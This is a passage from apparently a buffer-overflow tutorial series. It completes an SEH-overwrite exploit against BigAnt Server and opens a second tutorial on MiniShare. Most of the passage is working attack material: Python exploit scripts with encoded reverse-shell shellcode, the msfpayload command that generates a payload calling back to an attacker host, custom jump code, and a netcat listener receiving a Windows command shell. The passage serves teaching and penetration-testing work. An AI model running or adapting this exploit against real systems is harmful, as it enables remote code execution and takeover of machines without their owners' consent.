buffer+= "\x6A\x19\x9A\x0F" # SEH Overwrite 0F9A196A POP EBP, POP EBX, RETN, vbajet32.dll
buffer+= "\x90" * 16 # NOP padding before shellcode
buffer+= "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0b\x0c\x0e\x0f\x10\x11"
buffer+= "\x90" * (2504 - len(buffer))
buffer+= "\r\n\r\n"

sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=sock.connect((target_address,target_port))
sock.send(buffer)
sock.close()

This causes a crash with our SEH Chain overwritten by the expected address. None of these characters appear to be bad. Now lets add the next line in, like so. Note the parentheses around the assigned value.

#!/usr/bin/python
import socket

target_address="192.168.10.27"
target_port=6660

buffer = "USV "
buffer+= "\x90" * 962
buffer+= "\xeb\x06\x90\x90" #JMP SHORT 6, NOP Padding
buffer+= "\x6A\x19\x9A\x0F" # SEH Overwrite 0F9A196A POP EBP, POP EBX, RETN, vbajet32.dll
buffer+= "\x90" * 16 # NOP padding before shellcode
buffer+= ("\x01\x03\x04\x05\x06\x07\x08\x09\x0c\x0e\x0f\x10\x11\x12\x13"
"\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20")
buffer+= "\x90" * (2504 - len(buffer))
buffer+= "\r\n\r\n"

sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=sock.connect((target_address,target_port))
sock.send(buffer)
sock.close()

When we run this we now get a crash with SEH pointing to 90909090. Our first bad character is somewhere within those last 15 characters we added. To find where, we will split the line (more or less) in half, to give the following line

\x12\x13\x14\x15\x16\x17\x18\x19

Our buffer defining line now becomes

buffer+= ("\x01\x03\x04\x05\x06\x07\x08\x09\x0c\x0e\x0f\x10\x11\x12\x13"
"\x12\x13\x14\x15\x16\x17\x18\x19")

Viewing the SEH Chain, we see that it is now back to our expected value. So the bad character is in the last half of that string we just sent \x1a\x1b\x1c\x1d\x1e\x1f\x20.

We now modify the buffer to add half again from the section of the string that contains one or more bad characters.

buffer+= ("\x01\x03\x04\x05\x06\x07\x08\x09\x0c\x0e\x0f\x10\x11\x12\x13"
"\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d")

Running the exploit we can see that the SEH Chain still shows our desired value. So we know that one or more of these three remaning characters \x1e\x1f\x20 is bad. Im sure by now you see what we are doing here, we are continually sending different sections of this line until we find which of the characters causes the problem.

Lets change the buffer as follows and repeat.

buffer+= ("\x01\x03\x04\x05\x06\x07\x08\x09\x0c\x0e\x0f\x10\x11\x12\x13"
"\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f")

Again our SEH address is overwritten as expected. It appears that \x20 is a bad character. This is hardly surprising as \x20 is represented in ASCII by a space.

We can quickly confirm that this is the only bad character by generating the codes for all characters apart from \x00 (null), \x0a (line feed), \x0d (carriage return) and \x20 (space), feeding them into the buffer and checking that our SEH address overwrites as expected.

user@bt4pf:~$ ./generatecodes.pl 00,0a,0d,20
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0b\x0c\x0e\x0f\x10\x11"
"\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x21"
"\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f"
"\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e"
"\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d"
"\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c"
"\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b"
"\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a"
"\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99"
"\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8"
"\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7"
"\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6"
"\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5"
"\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4"
"\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3"
"\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"

We now set our line in the exploit to be as follows

buffer+= ("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0b\x0c\x0e\x0f\x10\x11"
"\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x21"
"\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f"
"\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e"
"\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d"
"\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c"
"\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b"
"\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a"
"\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99"
"\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8"
"\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7"
"\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6"
"\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5"
"\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4"
"\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3"
"\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")

And when we trigger the exploit and check our SEH Chain it is overwritten with our expected value. We dont have any more bad characters that will mangle our buffer, but do we have any bad characters that will be translated to something else or that will be missing entirely?

More Bad Characters?

To find out if there are more bad characters hiding in our buffer, lets check the contents of our memory dump. To do this, we first confirm that we have a breakpoint set on our SEH Overwrite address, then we pass the exception to the program using Shift and F9, then we use F7 to step through execution of our POP, POP, RETN instructions, then our JMP instruction. At this point we should be at the start of the first of our 16 NOP instructions and we should be able to see the point where our set of characters, starting with \x01\x02 begins. We can then select this in the CPU pane, right click and choose Follow in Dump-> Selection to show this in the memory dump pane.



We should now be able to see characters going from \x01 all the way through to \xFF in our memory dump. Select all of these characters, right click and choose Binary->Binary Copy from the menu.


Now paste this into a file, which you can call memory.txt and remove all but one newline characters from the end of the file. If you are accessing your victim system via a remote desktop session, or via a virtualisation products console, you should be able to directly paste the contents of the clipboard from your victim system to a file in your attacking system. Otherwise you will need to paste the data to a local file on your victim system and then transfer it to your attacking system. Whichever way you achieve this, if you view the contents of the file once it is on your attacker system, you should see something like the following:

user@bt4pf:~$ cat memory.txt
01 02 03 04 05 06 07 08 09 0B 0C 0E 0F 10 11 12 13 14 15 16 17 18 19 1A 1B 1C 1D 1E 1F 21 22 23
24 57 28 29 2A 2B 2C 2D 2E 2F 30 31 32 33 34 35 36 37 38 39 3A 3B 3C 3D 3E 3F 40 41 42 43 44 45
46 47 48 49 4A 4B 4C 4D 4E 4F 50 51 52 53 54 55 56 57 58 59 5A 5B 5C 5D 5E 5F 60 61 62 63 64 65
66 67 68 69 6A 6B 6C 6D 6E 6F 70 71 72 73 74 75 76 77 78 79 7A 7B 7C 7D 7E 7F 80 81 82 83 84 85
86 87 88 89 8A 8B 8C 8D 8E 8F 90 91 92 93 94 95 96 97 98 99 9A 9B 9C 9D 9E 9F A0 A1 A2 A3 A4 A5
A6 A7 A8 A9 AA AB AC AD AE AF B0 B1 B2 B3 B4 B5 B6 B7 B8 B9 BA BB BC BD BE BF C0 C1 C2 C3 C4 C5
C6 C7 C8 C9 CA CB CC CD CE CF D0 D1 D2 D3 D4 D5 D6 D7 D8 D9 DA DB DC DD DE DF E0 E1 E2 E3 E4 E5
E6 E7 E8 E9 EA EB EC ED EE EF F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF

Now take the output from generatecodes and paste this into a file called shellcode.txt. If you view the contents of the file you should see something like the following

user@bt4pf:~$ cat shellcode.txt
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0b\x0c\x0e\x0f\x10\x11"
"\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x21"
"\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f"
"\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e"
"\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d"
"\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c"
"\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b"
"\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a"
"\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99"
"\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8"
"\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7"
"\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6"
"\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5"
"\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4"
"\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3"
"\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"

We will now use the comparememory.pl perl script to compare the two files (containing the contents of memory and the characters we sent in the buffer) to check for any other bad characters.

Run the comparememory script (make sure you mark it as execuable using chmod +x first)

user@bt4pf:~$ ./comparememory.pl memory.txt shellcode.txt
Memory: 57 Shellcode: 25 at position 33
Memory: 28 Shellcode: 26 at position 34
Memory: 29 Shellcode: 27 at position 35
Memory: 2a Shellcode: 28 at position 36
...


This spits out a long list of differences between the values in the two files, and it appears that the first difference occurred with the character \x25 from our "shellcode". When we look at this position in our memory dump it appears that characters \x25, \x26 and \x27 are missing, and in their place is a single \x57. This means that one or more of the characters \x25, \x26 and \x27 is bad.

Lets test the assumption that \x25 is a bad character and generate a new buffer to send to our application. We can then repeat the process we have just performed to see whether the rest of the characters in the set will come through as expected.

We run generatecodes.pl as follows, place the output in our exploit, run it, and compare the memory dump and shellcode as we did before.

user@bt4pf:~$ ./generatecodes.pl 00,0a,0d,20,25

This time when we compare the memory and "shellcode" using comparememory.pl, we get no output, indicating that all characters send to the application in our buffer were present in memory in the exact order that they were sent. It looks like we know know of every bad character for our application \x00\x0a\x0d (which we assume as being bad because this is the case for the majority of exploits where data is sent to the application in this fashion), and \x20\x25 which we have confirmed are bad by active verification.

Generating Shellcode (again)

Now that we have a complete list of bad characters for this exploit, we can reencode our shellcode to avoid them all.

user@bt4pf:~$ msfpayload windows/shell_reverse_tcp LHOST=192.168.20.11 LPORT=443 R | msfencode -a x86 -b '\x00\x0a\x0d\x20\x25' -s 619 -t c
[*] x86/shikata_ga_nai succeeded with size 342 (iteration=1)

unsigned char buf[] =
"\xdd\xc4\xd9\x74\x24\xf4\x31\xc9\x5a\xb1\x4f\xbe\xca\x98\x1f"
"\x88\x83\xc2\x04\x31\x72\x16\x03\x72\x16\xe2\x3f\x64\xf7\x01"
"\xbf\x95\x08\x72\x36\x70\x39\xa0\x2c\xf0\x68\x74\x27\x54\x81"
"\xff\x65\x4d\x12\x8d\xa1\x62\x93\x38\x97\x4d\x24\x8d\x17\x01"
"\xe6\x8f\xeb\x58\x3b\x70\xd2\x92\x4e\x71\x13\xce\xa1\x23\xcc"
"\x84\x10\xd4\x79\xd8\xa8\xd5\xad\x56\x90\xad\xc8\xa9\x65\x04"
"\xd3\xf9\xd6\x13\x9b\xe1\x5d\x7b\x3b\x13\xb1\x9f\x07\x5a\xbe"
"\x54\xfc\x5d\x16\xa5\xfd\x6f\x56\x6a\xc0\x5f\x5b\x72\x05\x67"
"\x84\x01\x7d\x9b\x39\x12\x46\xe1\xe5\x97\x5a\x41\x6d\x0f\xbe"
"\x73\xa2\xd6\x35\x7f\x0f\x9c\x11\x9c\x8e\x71\x2a\x98\x1b\x74"
"\xfc\x28\x5f\x53\xd8\x71\x3b\xfa\x79\xdc\xea\x03\x99\xb8\x53"
"\xa6\xd2\x2b\x87\xd0\xb9\x23\x64\xef\x41\xb4\xe2\x78\x32\x86"
"\xad\xd2\xdc\xaa\x26\xfd\x1b\xcc\x1c\xb9\xb3\x33\x9f\xba\x9a"
"\xf7\xcb\xea\xb4\xde\x73\x61\x44\xde\xa1\x26\x14\x70\x1a\x87"
"\xc4\x30\xca\x6f\x0e\xbf\x35\x8f\x31\x15\x40\x97\xa5\x56\xfb"
"\x0c\x3e\x3f\xfe\x2c\x41\x04\x77\xca\x2b\x6a\xde\x44\xc3\x13"
"\x7b\x1e\x72\xdb\x51\xb7\x17\x4e\x3e\x48\x5e\x73\xe9\x1f\x37"
"\x45\xe0\xca\xa5\xfc\x5a\xe9\x34\x98\xa5\xa9\xe2\x59\x2b\x33"
"\x67\xe5\x0f\x23\xb1\xe6\x0b\x17\x6d\xb1\xc5\xc1\xcb\x6b\xa4"
"\xbb\x85\xc0\x6e\x2c\x50\x2b\xb1\x2a\x5d\x66\x47\xd2\xef\xdf"
"\x1e\xec\xdf\xb7\x96\x95\x02\x28\x58\x4c\x87\x58\x13\xcd\xa1"
"\xf0\xfa\x87\xf0\x9c\xfc\x7d\x36\x99\x7e\x74\xc6\x5e\x9e\xfd"
"\xc3\x1b\x18\xed\xb9\x34\xcd\x11\x6e\x34\xc4\x18";


We paste this into our exploit

#!/usr/bin/python
import socket

target_address="192.168.10.27"
target_port=6660

buffer = "USV "
buffer+= "\x90" * 962
buffer+= "\xeb\x06\x90\x90" #JMP SHORT 6, NOP Padding
buffer+= "\x6A\x19\x9A\x0F" # SEH Overwrite 0F9A196A POP EBP, POP EBX, RETN, vbajet32.dll
buffer+= "\x90" * 16 # NOP padding before shellcode
# msfpayload windows/shell_reverse_tcp LHOST=192.168.20.11 LPORT=443 R | msfencode -a x86 -b '\x00\x0a\x0d\x20\x25' -s 619 -t c - x86/shikata_ga_nai - size 342 bytes
buffer+= ("\xdd\xc4\xd9\x74\x24\xf4\x31\xc9\x5a\xb1\x4f\xbe\xca\x98\x1f"
"\x88\x83\xc2\x04\x31\x72\x16\x03\x72\x16\xe2\x3f\x64\xf7\x01"
"\xbf\x95\x08\x72\x36\x70\x39\xa0\x2c\xf0\x68\x74\x27\x54\x81"
"\xff\x65\x4d\x12\x8d\xa1\x62\x93\x38\x97\x4d\x24\x8d\x17\x01"
"\xe6\x8f\xeb\x58\x3b\x70\xd2\x92\x4e\x71\x13\xce\xa1\x23\xcc"
"\x84\x10\xd4\x79\xd8\xa8\xd5\xad\x56\x90\xad\xc8\xa9\x65\x04"
"\xd3\xf9\xd6\x13\x9b\xe1\x5d\x7b\x3b\x13\xb1\x9f\x07\x5a\xbe"
"\x54\xfc\x5d\x16\xa5\xfd\x6f\x56\x6a\xc0\x5f\x5b\x72\x05\x67"
"\x84\x01\x7d\x9b\x39\x12\x46\xe1\xe5\x97\x5a\x41\x6d\x0f\xbe"
"\x73\xa2\xd6\x35\x7f\x0f\x9c\x11\x9c\x8e\x71\x2a\x98\x1b\x74"
"\xfc\x28\x5f\x53\xd8\x71\x3b\xfa\x79\xdc\xea\x03\x99\xb8\x53"
"\xa6\xd2\x2b\x87\xd0\xb9\x23\x64\xef\x41\xb4\xe2\x78\x32\x86"
"\xad\xd2\xdc\xaa\x26\xfd\x1b\xcc\x1c\xb9\xb3\x33\x9f\xba\x9a"
"\xf7\xcb\xea\xb4\xde\x73\x61\x44\xde\xa1\x26\x14\x70\x1a\x87"
"\xc4\x30\xca\x6f\x0e\xbf\x35\x8f\x31\x15\x40\x97\xa5\x56\xfb"
"\x0c\x3e\x3f\xfe\x2c\x41\x04\x77\xca\x2b\x6a\xde\x44\xc3\x13"
"\x7b\x1e\x72\xdb\x51\xb7\x17\x4e\x3e\x48\x5e\x73\xe9\x1f\x37"
"\x45\xe0\xca\xa5\xfc\x5a\xe9\x34\x98\xa5\xa9\xe2\x59\x2b\x33"
"\x67\xe5\x0f\x23\xb1\xe6\x0b\x17\x6d\xb1\xc5\xc1\xcb\x6b\xa4"
"\xbb\x85\xc0\x6e\x2c\x50\x2b\xb1\x2a\x5d\x66\x47\xd2\xef\xdf"
"\x1e\xec\xdf\xb7\x96\x95\x02\x28\x58\x4c\x87\x58\x13\xcd\xa1"
"\xf0\xfa\x87\xf0\x9c\xfc\x7d\x36\x99\x7e\x74\xc6\x5e\x9e\xfd"
"\xc3\x1b\x18\xed\xb9\x34\xcd\x11\x6e\x34\xc4\x18")
buffer+= "\x90" * (2504 - len(buffer))
buffer+= "\r\n\r\n"

sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=sock.connect((target_address,target_port))
sock.send(buffer)
sock.close()


Now lets get our listener running

root@giraffe:/tmp# nc -nvvlp 443
listening on [any] 443 ...


Now we restart the debugger and antserver, and trigger the exploit.

And look what happens to our listener - we have a shell!

root@giraffe:/tmp# nc -nvvlp 443
listening on [any] 443 ...
connect to [192.168.20.11] from (UNKNOWN) [192.168.10.27] 1212
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>

You can run antserver outside of the debugger to test it if you like, and you should still get the same shell back. If you run this too many times you may end up with a zombie antserver process here (a process which won't respond and which you can't kill), which will necessitate that you restart the system.

Something slightly more challenging...

Earlier on I mentioned that we could use the memory space either before or after our overwrite address to locate our shellcode in. This is not often the case for SEH exploits, in fact it is far more common for there to be very limited usable space in memory after the SEH overwrite address. What we need to do in this case is to move execution back in memory to our buffer before the SEH overwrite.

Seeing as we had to jump forward 6 bytes to get out of our four byte space before its tempting to think we can just do the same by jumping backwards however many bytes to the start of the buffer. We cant do this using a SHORT JUMP however, as this type of JUMP only allows us to JUMP backwards 128 bytes or forwards 127 bytes relative to the current value of EIP.

We could use a different type of relative JUMP - a NEAR JUMP - to do something similar, although there are some caveats with this. First of all the value that you provide to a NEAR JUMP instruction to determine how far to jump and in what direction will vary depending on a value called the operand size, which can be either 16 or 32 bits. The operand size is based on a value called the D-bit in the CS segment register which is set per code segment. So this means that we cant use the NEAR JUMP instruction to generate universal binary jump code, because of the fact that the code will be interpreted differently depending on characteristics of the environment in which the code runs. In addition, forward jumps within the range of values usually used in exploitation will need to use jump values that contain zero bytes, which are almost always bad characters.

Consequently, we will avoid using NEAR JUMPS, and we can instead use some jump code that I developed inspired by phrack #62 Article 7 by Aaron Adams and this security forest article on SEH exploitation.

The code is shown below, and works based on the fact that after taking the original POP, POP, RETN to jump into the four byte space before the SEH Overwrite, another pointer to the same memory location exists three places down on the stack. We basically get this memory address into the ECX register, decrement the CH register by 1 three times (which has the affect of decreasing ECX by a total of 768 or three times 256 since CH represents the second least significant byte of ECX), and then JUMP to ECX. This moves us back 768 bytes from the location where the original POP, POP, RETN instruction lands, and gives us more than enough space to use most Windows shellcode. At 11 bytes it is also very compact and will fit into very small buffer areas.

"\x59\x59\x59\xfe\xcd\xfe\xcd\xfe\xcd\xff\xe1"

11 bytes
POP ECX \x59
POP ECX \x59
POP ECX \x59
DEC CH \xfe\xcd
DEC CH \xfe\xcd
DEC CH \xfe\xcd
JMP ECX \xff\xe1


This jumpcode takes up 11 bytes of space and we can place it in our buffer immediately after our SEH overwrite in order to get back into the section of the buffer before our SEH overwrite. We simply take 768 away from the offset we know to point to the four byte space before the SEH overwrite (962) to determine exactly where our jump will land - 194 bytes from the start of the buffer. We then rewrite our exploit to move our shellcode into the first area of the buffer (at the correct offset), and we add the jumpcode immediately after the SEH overwrite.

#!/usr/bin/python
import socket

target_address="192.168.10.27"
target_port=6660

buffer = "USV "
buffer+= "\x90" * 194
buffer+= "\x90" * 16 # Jump code lands here on 16 NOPS
# msfpayload windows/shell_reverse_tcp LHOST=192.168.20.11 LPORT=443 R | msfencode -a x86 -b '\x00\x0a\x0d\x20\x25' -s 619 -t c - x86/shikata_ga_nai - size 342 bytes
buffer+= ("\xdd\xc4\xd9\x74\x24\xf4\x31\xc9\x5a\xb1\x4f\xbe\xca\x98\x1f"
"\x88\x83\xc2\x04\x31\x72\x16\x03\x72\x16\xe2\x3f\x64\xf7\x01"
"\xbf\x95\x08\x72\x36\x70\x39\xa0\x2c\xf0\x68\x74\x27\x54\x81"
"\xff\x65\x4d\x12\x8d\xa1\x62\x93\x38\x97\x4d\x24\x8d\x17\x01"
"\xe6\x8f\xeb\x58\x3b\x70\xd2\x92\x4e\x71\x13\xce\xa1\x23\xcc"
"\x84\x10\xd4\x79\xd8\xa8\xd5\xad\x56\x90\xad\xc8\xa9\x65\x04"
"\xd3\xf9\xd6\x13\x9b\xe1\x5d\x7b\x3b\x13\xb1\x9f\x07\x5a\xbe"
"\x54\xfc\x5d\x16\xa5\xfd\x6f\x56\x6a\xc0\x5f\x5b\x72\x05\x67"
"\x84\x01\x7d\x9b\x39\x12\x46\xe1\xe5\x97\x5a\x41\x6d\x0f\xbe"
"\x73\xa2\xd6\x35\x7f\x0f\x9c\x11\x9c\x8e\x71\x2a\x98\x1b\x74"
"\xfc\x28\x5f\x53\xd8\x71\x3b\xfa\x79\xdc\xea\x03\x99\xb8\x53"
"\xa6\xd2\x2b\x87\xd0\xb9\x23\x64\xef\x41\xb4\xe2\x78\x32\x86"
"\xad\xd2\xdc\xaa\x26\xfd\x1b\xcc\x1c\xb9\xb3\x33\x9f\xba\x9a"
"\xf7\xcb\xea\xb4\xde\x73\x61\x44\xde\xa1\x26\x14\x70\x1a\x87"
"\xc4\x30\xca\x6f\x0e\xbf\x35\x8f\x31\x15\x40\x97\xa5\x56\xfb"
"\x0c\x3e\x3f\xfe\x2c\x41\x04\x77\xca\x2b\x6a\xde\x44\xc3\x13"
"\x7b\x1e\x72\xdb\x51\xb7\x17\x4e\x3e\x48\x5e\x73\xe9\x1f\x37"
"\x45\xe0\xca\xa5\xfc\x5a\xe9\x34\x98\xa5\xa9\xe2\x59\x2b\x33"
"\x67\xe5\x0f\x23\xb1\xe6\x0b\x17\x6d\xb1\xc5\xc1\xcb\x6b\xa4"
"\xbb\x85\xc0\x6e\x2c\x50\x2b\xb1\x2a\x5d\x66\x47\xd2\xef\xdf"
"\x1e\xec\xdf\xb7\x96\x95\x02\x28\x58\x4c\x87\x58\x13\xcd\xa1"
"\xf0\xfa\x87\xf0\x9c\xfc\x7d\x36\x99\x7e\x74\xc6\x5e\x9e\xfd"
"\xc3\x1b\x18\xed\xb9\x34\xcd\x11\x6e\x34\xc4\x18")
buffer+= "\x90" * (966 - len(buffer)) # 962 + 4 to account for "USV " is offset
buffer+= "\xeb\x06\x90\x90" # JMP SHORT 6, NOP Padding
buffer+= "\x6A\x19\x9A\x0F" # SEH Overwrite 0F9A196A POP EBP, POP EBX, RETN, vbajet32.dll
buffer+= "\x59\x59\x59\xfe\xcd\xfe\xcd\xfe\xcd\xff\xe1" # 11 bytes, pop ecx * 3, dec ch (take 256 from ecx) * 3, jmp ecx
buffer+= "\x90" * (2504 - len(buffer))
buffer+= "\r\n\r\n"

sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=sock.connect((target_address,target_port))
sock.send(buffer)
sock.close()

Thats it, a complete exploit!

References

Here is a list of references that I used in creating this tutorial. Have a read of some of them if you want to learn more about SEH overwrites and buffer overflows in general.

Intel Architecture Software Developer’s Manual Volume 2: Instruction Set Reference
http://www.securityforest.com/wiki/index.php/Exploit:_Stack_Overflows_-_Exploiting_SEH_on_win32
http://en.wikipedia.org/wiki/Protected_mode
http://msdn.microsoft.com/en-us/library/9a89h429(VS.80).aspx
http://www.openrce.org/downloads/details/244/OllySSEH
http://web.archive.org/web/20080608015939/http://www.nabble.com/overwriting-SEH-and-debugging-td14440307.html
http://download.microsoft.com/download/9/c/5/9c5b2167-8017-4bae-9fde-d599bac8184a/pecoff_v8.docx

Update

A quick litte update on this.  I have written a quick post about whether my various tutorials will work under XP SP3 here.

If you are having problems reproducing the crash for this exploit ensure that you have got the correct version of BigAnt installed.  Remove any other version of BigAnt Server 2.52 you may have installed and reinstall the verison that I have linked to in the post above.

Stack Based Windows Buffer Overflow Tutorial

Introduction

One thing I have always maintained is that aspiring or practicing penetration testers who use an exploitation product (such as CANVAS, Core Impact, Metasploit) should know how buffer overflows actually work. Having this knowledge will help you understand the circumstances under which these products can work, will help you troubleshoot when things don't work and will correct unrealistic expectations about what the products are capable of.

In addition, being able to reproduce buffer overflow exploits will also give you the tools to more accurately assess the risk of discovered vulnerabilities as well as to develop effective countermeasures for exploits out in the wild. These are important skills for incident responders and for those attempting to protect their networks.

To this end, I am going to write a series of tutorials on how to write buffer overflows. This is the first entry in this series, and it will cover how to recreate a simple stack based buffer overflow in the Windows application MiniShare 1.4.1. MiniShare 1.4.1 is an older version of the MiniShare application and the vulnerability we will be attacking has been patched in the current version of the application. While this vulnerability could probably be considered out of date, it does provide a very good example of a simple stack based buffer overflow, which makes it ideal to use in a beginners buffer overflow tutorial such as this.

In this tutorial I am going to focus exclusively on the practical skills needed to exploit buffer overflows, and I won't go into any uneccessary details on the theory of how they work, or how buffer overflows can be discovered. There are many other resources available on buffer overflow theory, and I will cover off on the vulnerability discovery angle in a later post.

Update:  Blog reader Mark has created a video version of this tutorial, so if you like videos with your tutorials, check it out.  It can be found here.

Warning! Please note that this tutorial is intended for educational purposes only, and you should NOT use the skills you gain here to attack any system for which you don't have permission to access. Its illegal in most jurisdictions to access a computer system without authorisation, and if you do it and get caught (which is likely) you deserve whatever you have coming to you. Don't say you haven't been warned.

Required Knowledge

To follow this tutorial you will need to have basic knowledge of:
  • TCP/IP networking,
  • management of the Windows Operating System (including installing software, running and restarting services, connecting to remote desktop sessions, etc), and
  • running Python scripts.

You need to have good enough knowledge of the attacking system you use (whether it be BackTrack, another type of Linux, Windows or anything else) to be able to run programs and scripts.

Python programming skills and knowledge of Metasploit usage are a bonus but not required.

System Setup

In order to reproduce this exploit for the tutorial, I used a victim system running Windows XP SP2, and a attacking system running BackTrack 4 PreFinal.

You don't need to reproduce my setup exactly, but I would suggest sticking to Windows XP SP2 or earlier for the victim system. The attacking system can be anything you feel comfortable in, as long as it can run the software I have specified below, and as long as you are able to translate the Linux commands I will be using in the tutorial into something appropriate for your chosen system.

If required, you can get a XP SP2 Virtual Machine to use as your victim by following the instructions in the Metasploit Unleashed course, starting in the section "02 Required Materials" - "Windows XP SP2" up to the section entitled "XP SP2 Post Install".Your victim system must use a X86 based processor.

In this tutorial my attacking and victim systems used the following IP Addresses. You will need to substitute the addresses of your own systems where ever these addresses appear in the code or commands listed below.
  • Attacker system: 192.168.20.11
  • Victim system: 192.168.10.27
The two systems are networked together and I have interactive GUI access to the desktop of the victim system via a remote desktop session. You will need to be able to easily and quickly switch between controlling your attacking system and the victim system when following this tutorial, so make sure you have things set up appropriately before you proceed.

Required Software on Attacking and Victim Systems

Your attacker and victim systems will need the following software installed in order to follow this tutorial. By using BackTrack 4 PreFinal for your attacking system you will take care of all of the attacking system prerequisitites.

The attacking system requires the following software:
  • Perl interpreter
  • Python interpreter
  • Metasploit 3.x
  • Text Editor
  • Netcat
The victim system requires the following software:
Ensure that all required software is installed and operational before you proceed with this tutorial.

Attaching to your program in the debugger

The first thing you need to learn in order to proceed with this tutorial is how to attach to your vulnerable program in a debugger. This is essential when developing an buffer overflow exploit, as it allows us to see what is going on inside the application during the crash that allows a buffer overflow to occur. This information allows us to structure a buffer to be sent to the application in a fashion that allows us to take control of that programs execution.

In this tutorial we will be using OllyDbg as our debugger and MiniShare 1.4.1 as our vulnerable application. Both applications need to be installed on our victim system before we can proceed. OllyDbg just needs to be unzipped to a folder, and you can then run the application using the Ollydbg.exe executable, and MiniShare can be installed using the downloaded installer. Put a shortcut to OllyDbg in a convenient place like the desktop, because you will be using it a lot during the exploit development process.

To attach MiniShare to our debugger, we simply use the File->Open menu option in OllyDbg, then browse to the install location of MiniShare (C:\Program Files\MiniShare\ by default) and open minishare.exe.

